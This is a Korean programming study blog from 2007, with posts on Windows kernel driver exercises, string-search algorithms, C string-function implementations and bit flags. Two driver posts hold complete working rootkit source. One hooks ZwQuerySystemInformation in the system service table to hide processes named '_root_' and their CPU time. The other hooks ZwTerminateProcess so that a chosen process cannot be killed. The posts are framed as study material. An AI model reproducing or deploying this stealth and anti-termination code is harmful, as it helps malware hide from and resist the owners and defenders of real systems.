1. CreateFile(), WriteFile(), ReadFile(), CloseHandle() 를 Dispatch

more..


2. Bufferd I/O 를 사용한 Dispatch

more..


3. DeviceIoControl 을 사용한 Dispatch

more..


4. IRP_MJ_DEVICE_CONTROL( DispatchDeviceIoControl ) 사용한 Dispatch ( Event )

more..


Tag |

WDM 실습 - Kernel 의 Device Extension

from Study/WDM 2007/11/30 21:44 view 26130
1. User모드 와 통신
- 객체 : data(상태) - 따로 있어야 한다.
           함수(동작) - 모든 객체가 하나의 함수를 사용해도 된다.
사용자 삽입 이미지
- 드라이버는 하나가 있어도 되지만 실제 장치가 2개이상이 있다면 각 장치마다의 상태를 따로 관리해야 한다.
- 디바이스 Object 는 링크드 리스트로 각 장치의 상태(잉크잔량,종이)등을 저장하고 있다.
- 디바이스 Object는 버퍼하나를 가리키는 포인터를 하나 가지고 있다.( Device Extension ) 디바이스당 하나!!
- 심볼릭 링크를 사용하여 유저모드에서 접근을 가능하게 해준다. CreateFile() 로 접근할 수 있다.

- ( WinObj 툴을 사용하여 확인 해볼 수 있다. ) : Global?? 심볼릭 링크..
 
1) Device Object 를 생성 : Device Extension을 정의 해주고 심볼릭 링크를 통해 얻어온다.
2) Unload는 반드시 디바이스 만들기 전에 지정 - 만들다 실패 했을 때 unload가 안되는 상황을 피한다.

예제소스 ~
ex1) 드라이버 소스 심볼릭을 만들어 준다. Device Extension 버퍼에 값을 넣어준다.

more..


ex2) User Mode 에서 CreateFile 로 접근

more..




Tag |

WDM 실습 - 간단한 키보드 제어

from Study/WDM 2007/11/30 19:54 view 28861
1. H/W 제어
- IRQ( Interrupt request ) : 15개의 인터럽트를 갖는다.
- CPU는 8259 칩 2개를 사용하여 입력포트를 늘린다.(7개(1개는 다른 8259칩이랑 연결) + 8개 )
http://dblab.co.kr/entry/1016화-이론-2-Hook

- 60, 64번포트를 사용하여 읽어오고 내보낸다.
- out, in 특정 포트를 사용하는 기본적인 명령어 이다.(인텔명령어)
- 호환성을 높이기 위한 MS는 매크로를 만들어 놨다.
 => WRITE_PORT_CHAR(), READ_PORT_CHAR()       // HAL( hardware abstract layer )

=> 키보드에 달려있는 3개의 LED를 깜박인다. (-_-..안되는 것도 있다. )
#include "ntddk.h"
#include <stdio.h>

VOID rootkit_command_thread(PVOID context);
HANDLE gWorkerThread;
PKTIMER    gTimer;
PKDPC    gDPCP;
UCHAR g_key_bits = 0;

// commands
#define READ_CONTROLLER        0x20
#define WRITE_CONTROLLER    0x60

// command bytes
#define SET_LEDS            0xED
#define KEY_RESET            0xFF

// responses from keyboard
#define KEY_ACK                0xFA    // ack
#define KEY_AGAIN            0xFE    // send again

// 8042 ports
// when you read from port 64, this is called STATUS_BYTE
// when you write to port 64, this is called COMMAND_BYTE
// read and write on port 64 is called DATA_BYTE
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;

// status register bits
#define IBUFFER_FULL        0x02
#define OBUFFER_FULL        0x01

// flags for keyboard LEDS
#define SCROLL_LOCK_BIT        (0x01 << 0)
#define NUMLOCK_BIT            (0x01 << 1)
#define CAPS_LOCK_BIT        (0x01 << 2)

ULONG WaitForKeyboard()
{
    char _t[255];
    int i = 100;    // number of times to loop
    UCHAR mychar;
   
    DbgPrint("waiting for keyboard to become accecssable\n");
    do
    {
        mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

        KeStallExecutionProcessor(666);

        _snprintf(_t, 253, "WaitForKeyboard::read byte %02X from port 0x64\n", mychar);
        DbgPrint(_t);

        if(!(mychar & IBUFFER_FULL)) break;    // if the flag is clear, we go ahead
    }
    while (i--);

    if(i) return TRUE;
    return FALSE;
}

// call WaitForKeyboard before calling this function
void DrainOutputBuffer()
{
    char _t[255];
    int i = 100;    // number of times to loop
    UCHAR c;
   
    DbgPrint("draining keyboard buffer\n");
    do { c = READ_PORT_UCHAR(KEYBOARD_PORT_64); KeStallExecutionProcessor(666); _snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x64\n", c);
        DbgPrint(_t);

        if(!(c & OBUFFER_FULL)) break;    // if the flag is clear, we go ahead
   
        // gobble up the byte in the output buffer
        c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
       
        _snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x60\n", c);
        DbgPrint(_t);
    }
    while (i--);
}

// write a byte to the data port at 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
    char _t[255];
   
   
    if(TRUE == WaitForKeyboard())
    {
        DrainOutputBuffer();

        _snprintf(_t, 253, "SendKeyboardCommand::sending byte %02X to port 0x60\n", theCommand);
        DbgPrint(_t);

        WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
       
        DbgPrint("SendKeyboardCommand::sent\n");
    }
    else
    {
        DbgPrint("SendKeyboardCommand::timeout waiting for keyboard\n");
        return FALSE;
    }
   
    // TODO: wait for ACK or RESEND from keyboard   
   
    return TRUE;
}

void SetLEDS( UCHAR theLEDS )
{
    // setup for setting LEDS
    if(FALSE == SendKeyboardCommand( 0xED ))
    {
        DbgPrint("SetLEDS::error sending keyboard command\n");
    }

    // send the flags for the LEDS
    if(FALSE == SendKeyboardCommand( theLEDS ))
    {
        DbgPrint("SetLEDS::error sending keyboard command\n");
    }
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("ROOTKIT: OnUnload called\n");
    KeCancelTimer( gTimer );
    ExFreePool( gTimer );
    ExFreePool( gDPCP );
}

// called periodically
VOID timerDPC(    IN PKDPC Dpc,
                IN PVOID DeferredContext,
                IN PVOID sys1,
                IN PVOID sys2)
{
    SetLEDS( g_key_bits++ );
    if(g_key_bits > 0x07) g_key_bits = 0;
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    LARGE_INTEGER timeout;

    theDriverObject->DriverUnload  = OnUnload;

    // these objects must be non paged
    gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));
    gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));

    timeout.QuadPart = -10;

    KeInitializeTimer( gTimer );
    KeInitializeDpc( gDPCP, timerDPC, NULL );

    if(TRUE == KeSetTimerEx( gTimer, timeout, 300, gDPCP))    // 300 ms timer   
    {
        DbgPrint("Timer was already queued..");
    }

    return STATUS_SUCCESS;
}
Tag |

WDM 실습 - HideProcess ( DKOM )

from Study/WDM 2007/11/30 16:38 view 31500
1. HideProcess - "_root_" 에서 지정한 프로세스를 작업관리자 목록에서 숨긴다.
- 참고 : DKOM 기법 개념 , DKOM PDF
- EnumProcess() 는 Tool Help API 이고 결국엔 ZwQuerySystemInfomation 를 호출한다.
- 모든 프로세스는 커널레벨에서 EPROCESS가 링크드리스트로 연결되어 있다.

- InitSystemProcess 링크드리스트의 연결을 임의적으로 바꾼다
(DKOM : Direct Kernel Object Manipulation ) 이라고 부른다.
- EPROCESS 링크드 리스트를 임의로 수정해도 스레드리스트에 있다면 작동은 한다. 스레드리스트와 링크드리스트를 비교해서 숨겨놓은 프로세스를 찾아 낼 수 있다.( ....)

- ZwQueryDirectory() 후킹하면 폴더를 감출 수 있습니다.
- Driver 또한 Hide 할 수 있다.(....)

- 소스는 rootkit 에서 참고.

#include "ntddk.h"

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) \
         KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)


struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
        LARGE_INTEGER                    IdleTime;
        LARGE_INTEGER                    KernelTime;
        LARGE_INTEGER                    UserTime;
        LARGE_INTEGER                    DpcTime;
        LARGE_INTEGER                    InterruptTime;
        ULONG                            InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER                    m_UserTime;
LARGE_INTEGER                    m_KernelTime;

///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,    // 얻고 싶은 정보의 종류( 5이면 프로세스 관련 )
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   // 원래의 커널 함수를 먼저 호출해서 프로세스의 정보를 버퍼에 담아온다.
   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                    SystemInformationClass,
                    SystemInformation,
                    SystemInformationLength,
                    ReturnLength );

   if( NT_SUCCESS(ntStatus))
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)    // 프로세스 정보를 꺼내고 있다면...
      {
         // This is a query for the process list.
         // Look for process names that start with
         // '_root_' and filter them out.
                   
         struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
        
         while(curr)
         {
            //DbgPrint("Current item is %x\n", curr);
            if (curr->ProcessName.Buffer != NULL)
            {
                if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
                {
                    m_UserTime.QuadPart += curr->UserTime.QuadPart;
                    m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

                    if(prev) // Middle or Last entry
                    {
                        if(curr->NextEntryDelta)
                            prev->NextEntryDelta += curr->NextEntryDelta;
                        else    // we are last, so make prev the end
                            prev->NextEntryDelta = 0;
                    }
                    else
                    {
                        if(curr->NextEntryDelta)
                        {
                            // we are first in the list, so move it forward
                            (char *)SystemInformation += curr->NextEntryDelta;
                        }
                        else // we are the only process!
                            SystemInformation = NULL;
                    }
                }
            }
            else // This is the entry for the Idle process
            {
               // Add the kernel and user times of _root_*
               // processes to the Idle process.
               curr->UserTime.QuadPart += m_UserTime.QuadPart;
               curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

               // Reset the timers for next time we filter
               m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
            }
            prev = curr;
            if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
            else curr = NULL;
         }
      }
      else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
      {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
      }

   }
   return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("ROOTKIT: OnUnload called\n");

   // unhook system calls
   UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

   // Unlock and Free MDL
   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                     IN PUNICODE_STRING theRegistryPath)
{
   // Register a dispatch function for Unload
   theDriverObject->DriverUnload  = OnUnload;

   // Initialize global times to zero
   // These variables will account for the
   // missing time our hidden processes are
   // using.
   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

   // save old system call locations
   OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

   // Map the memory into our domain so we can change the permissions on the MDL
   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   // Change the flags of the MDL
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

   // hook system calls
   HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
                             
   return STATUS_SUCCESS;
}

Tag | ,

Pattern Matching

from Study/자료구조 2007/11/30 11:45 view 21398
모든소스 : http://www-igm.univ-mlv.fr/~lecroq/string/ ( string 알고리즘 이라는 책 사고싶네... )
1. Brute Force Text Search ( n*n 비효휼적 )

more..


2. Karp-Rabin Text Search

more..


3. Shift Or Text Search

more..


4. Morris_Pratt Text Search

more..


5. Knuth_Morris_Pratt Text Search

more..


6. Boyer - Moore Text Search

more..

문자열 함수의 구현

from Study/C언어 2007/11/29 16:22 view 25782
1. my_strcpy( strcpy )
#include <stdio.h>
#include <assert.h>

void my_strcpy( char * dest, char * src )
{
    assert(src!=0 && dest!=0);
    while( (*dest++ = *src++) != 0 )
        // nothing ;
}

2. my_strlen( strlen )
// 자료형끼리의 길이를 빼주는 방식으로 구한다.
// 포인터를 이용하는 방식을 선호해보자.
int my_strlen( char* arg )
{
    char *base = arg;

    for( ; *arg != '\0'; ++arg)
        NULL/*nothing*/;
   
    return (int)(arg - base);    // 포인터와 포인터를 빼면 그 길이가 나온다.
}

3. my_strcat( strcat )
// dest의 오버플로우는 보장해주지 않는다. 사용자가 해야 하는 일.
void my_strcat( char* dest, char* src )
{
    while( *dest != '\0' )
        ++dest;    // NULL 위치를 가리키는 포인터로 만든다.

    while( (*dest++ = *src++) != '\0' )
        /*nothing*/;
}

4. reverse( reverse )
// 손바닥을 뒤집듯이 처음과 끝부터 차례대로 바꾼다.
// 가운데, 즉 역전 되기 전까지 바꿔나간다. => | <=
// 한글이 섞여 있다면 안된다. 2바이트랑 1바이트랑 바꾸기가 힘들다.
void reverse( char* arg )
{
    int len = strlen( arg );
    int i, j, t;

    for( i = 0, j = len - 1; i < j; ++i, --j )
    {
        t = arg[i];
        arg[i] = arg[j];
        arg[j] = t;
    }
}

5. swap( swap )
void swap( void* dest, void* src, int size )
{
    void *temp = malloc( size );

    memcpy( temp, dest, size );
    memcpy( dest, src, size );
    memcpy( src, temp, size );

    free( temp );
}

6. my_strcmp( strcmp )
int my_strcmp( char* dest, char* src )
{
    int ret;

    // 같았는데 '\0' 이 아니라면 또 비교하고 .. 비교하고.
    // 같지 않다면 음수나 양수를 리턴시켜준다.
    // while( ( ret = *dest++ - *src ) == 0 && *src++ != '\0' )
    while( 1 )
    {
        if( ( ret = *dest++ - *src ) != 0 || *src++ == '\0' )
            break;
    }

    return ret;
}

7. my_strchr( strchr )
char* my_strchr( char *dest, int src )
{
    for( ; *dest != src; ++dest )
        if( *dest == 0  )
            return 0;

    return dest;
}

8. my_strstr( strstr )
char* my_strstr( char* dest, char* src ) {
    int i, j;
    int len_dest = strlen(dest);
    int len_src  = strlen(src);

    for( i = 0; i < len_dest - len_src+1; ++i )
    {
        for( j = 0; j < len_src; ++j )
        {
            if( dest[i+j] != src[j] )
                break;
        }
        if( j == len_src )    // 끝까지 루프를 돌아으므로 같다는 의미..
        {
            return dest+i;
        }
    }

    return 0;
}

9. my_strspn( strspn ) - 지정한 토큰이 아닌 곳의 인덱스를 반환한다.
int my_strspn( char* dest, char* src )
{
    int i, j;
    int len_dest = strlen( dest );
    int len_src  = strlen( src );

    for( i = 0; i < len_dest; ++i )
    {
        for( j = 0; j < len_src; ++j )
        {
            if( dest[i] == src[j] )
                break;
        }

        if( j == len_src )
            return i;
    }

    return i;    // 끝까지 갔다면 NULL의 인덱스가 리턴된다.
}

10. my_strtok( strtok )
char * my_strtok(char * str, char * del)
{
    static char *curr;
    char *sbegin, *send;
   
    sbegin  = str ? str : curr;
    if (!sbegin)
        return 0;
   
    sbegin += strspn(sbegin,del);
    if (*sbegin == 0)
    {
        curr = 0;
        return 0;
    }
    send = strpbrk( sbegin, del);
    if (send && *send )
        *send++ = 0;
    curr = send;

    return sbegin;
}

아~ Hello World

from 잡담 2007/11/29 16:07 view 24677

 아~ 작년 8월초인가 부터 시작한 프로그래밍의 "Hello World"...

뭐든지 구글로 검색 해보는 습관이 들어서 hello world 를 치니 모든 언어의 hello world를 보여주고 있다.

사이트 : http://roesler-ac.de/wolfram/hello.htm 

The first Hello World program appeared in chapter 1.1 of the first edition of Kernighan & Ritchie's original book about C, "The C Programming Language", in 1978 and read like this:

main()
{
    printf("hello, world\n");
}

저 구문을 1학년 때 쳐 보고 작년에 다시 시작하면서 쳐 본거 같다. 콘솔창에 글씨가 나오는 게 그저 신기했다.
 
아직도 무언가 만들고 릴리즈 한다는 것이 좋다. 하지만 뒤늦게 시작했다는 불안감은 떨칠 수 없다.

공부를 하다보면 그 분야에서 읽어야 할 것, 배워야 할 것, 익혀야 할 것이 거미줄 처럼 얽히고 섥혀 있다.

요새 그 맥락을 잡지 못하는 기분이다. 알면 알수록 더 알아야 할것이 많다고 할까...

아 시작점에서 1미터 정도 달린 기분이다.

"한순간의 호기심으로 이쪽으로 들어오지 말라."
"지금이라도 다른길을 알아보는 것도 좋은 생각이다."
"기본이 없는 개발자는 타이핑만 하는 거다."
......

블로그를 돌아다니다 보면 질책성 글들이 많다. 더 우울해진다..




비트 플래그

from Study/C언어 2007/11/28 21:10 view 28898

1. 기본( &(검사), |(추가),  &= ~(삭제) )

more..


2. 배열을 사용한 비트 플래그

more..


3. 매크로를 이용한 비트 플래그 연산( http://lxr.linux.no/source/include/linux/posix_types.h )

more..


1. PID를 알고 있을 때 작업관리자에서 프로세스 종료시 종료되지 않는 드라이버.

//3. SDT Hooking

#include <ntddk.h>

// 함수 이름(주소)를 가지고 SDT 서비스 번호를 얻어내는 매크로
#define SERIVCE_ID( f )        *(ULONG*)( (char*)f + 1 )

// SDT Table의 각항목을 구성하는 구조체
#pragma pack(1)    // 1 Byte 단위로 align(정렬)하라는 지시어
typedef struct ServiceDescriptorEntry
{
    unsigned int*   ServiceTableBase; // 함수 주소
    unsigned int*   ServiceCounterTableBase;
    unsigned int    NumberOfServices;
    unsigned char*  ParamTableBase;
} ServiceDescriptorTableEntry_t;
#pragma pack()

// ntoskrnl.exe 에서는 SDT Table을 export 하고 있다.
__declspec(dllimport) ServiceDescriptorTableEntry_t
                                            KeServiceDescriptorTable;

// ntoskrnl.exe 가 가진 ZwTerminateProcess를 import 한다.
// Hooking 에 대상이 되는 함수를 import
__declspec(dllimport)
        NTSTATUS __stdcall ZwTerminateProcess( HANDLE handle, NTSTATUS ExitCode);

// 원래 함수의 주소를 보관하고 있어야 한다.
typedef NTSTATUS (__stdcall *FUNC)(HANDLE, NTSTATUS );
FUNC old; // 원래 함수의 주소를 담아둘 변수.

// 새로운 함수
NTSTATUS __stdcall foo( HANDLE handle, NTSTATUS ExitCode )
{
    DbgPrint("TerminateProcess is Called : %x", handle );

    if ( handle != (HANDLE)0 && handle != (HANDLE)-1 )    // 자기 스스로 죽는 ExitProcess 일 경우 제외
    {
        PVOID pEprocess = 0;    // 계산기의 EPROcESS의 주소를 담을 변수
        OBJECT_HANDLE_INFORMATION obj_handle;    // 핸들의 관한 정보(상속여부등)를 얻어 올 변수

        // User Level 에서 사용하던 핸들을 가지고 커널메모리에 있는 구조체의 주소를 직접 얻는다.
        // 이때 참조 개수가 증가한다.
        NTSTATUS status = ObReferenceObjectByHandle(
            handle,
            GENERIC_ALL,
            NULL,
            KernelMode,
            &pEprocess,
            &obj_handle );

        if( pEprocess != 0 )
        {
            // ObjectTable에 등록된 주소(물리주소)의 0x84에(xp,2003) PID값이 저장되어 있다.
            int id = *((int*)((char*)pEprocess + 0x84));

            if( id == 2648 ) // PID 값을 조사
            {
                DbgPrint("no kill");
                return STATUS_SUCCESS;
            }
            // 구조체를 다 사용했으므로 참조개수를 줄인다.
            ObDereferenceObject( pEprocess );
        }
    }
    // 기존의 함수로 다시 보낸다.
    return old( handle, ExitCode );
}

// 실제 SDT 훅을 하는 함수.
void InstallSDTHook()
{
    // 함수의 서비스 번호를 구한다.
    int id = SERIVCE_ID(ZwTerminateProcess);
   
    DbgPrint("ZwTerminateProcess service ID : %d", id );

    // 원래 함수의 주소를 보관해 둔다.
    old = (FUNC)KeServiceDescriptorTable.ServiceTableBase[ id ];

    __asm { CLI }   // interrupt 중지 - 다른 스레드가 실행흐름을 중지시키지 못하게 한다.(커널모드만 가능)

    // SDT Table을 수정(Hooking) 한다.
    KeServiceDescriptorTable.ServiceTableBase[ id ] = (unsigned int)foo;

    __asm { STI }    // interrupt 다시 시작 - 다른 스레드로의 전환(Context Switch) 를 가능하게 한다.
}

void UninstallSDTHook()
{
    int id = SERIVCE_ID(ZwTerminateProcess);
   
    __asm { CLI }   // interrup 중지

    // SDT 를 다시 원래대로 변경해 놓는다.
    KeServiceDescriptorTable.ServiceTableBase[ id ] = (unsigned int)old;

    __asm { STI }
}

VOID DriverUnload( PDRIVER_OBJECT pDrvObj )
{
    UninstallSDTHook();
    DbgPrint( "Driver Unload" );
}

NTSTATUS DriverEntry( PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath )
{
    DbgPrint("DriverEntry");

    pDrvObj->DriverUnload = DriverUnload;
    InstallSDTHook();
    return STATUS_SUCCESS;
}
Tag |

WDM 실습 - 작업관리자 흉내내기

from Study/WDM 2007/11/28 20:14 view 28373

1. 작업관리자 흉내내기. ( 서비스의 시작과 스톱을 신중히 하지 않는다면 블루스크린 )

// 프로세스의 생성/파괴를 감시하는 드라이버

#include <ntddk.h>

VOID foo( HANDLE ParentID, HANDLE ProcessID, BOOLEAN Create )
{
    if( Create == TRUE )
    {
        DbgPrint( "Process Created : %d, %d", ProcessID, ParentID );
    }
    else
    {
        DbgPrint( "Process Terminated : %d, %d", ProcessID, ParentID );
    }
}

VOID DriverUnload( PDRIVER_OBJECT pDrvObj )
{
    DbgPrint( "Driver Unload" );

    // 반드시 Callback 함수를 제거하고 unload 되어야 한다.
    PsSetCreateProcessNotifyRoutine( foo, TRUE );
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj            // DRIVER_OBJECT 객체의 주소
                     , PUNICODE_STRING pRegPath )    // 설치된 레지스트리 경로
{
    DbgPrint( "DriverEntry : %p", pDrvObj );

    // 드라이버가 unload 될때 호출될 함수를 등록한다.
    pDrvObj->DriverUnload = DriverUnload;

    // 프로세스 감시 함수를 등록한다.
    PsSetCreateProcessNotifyRoutine( foo, FALSE );

    return STATUS_SUCCESS;
}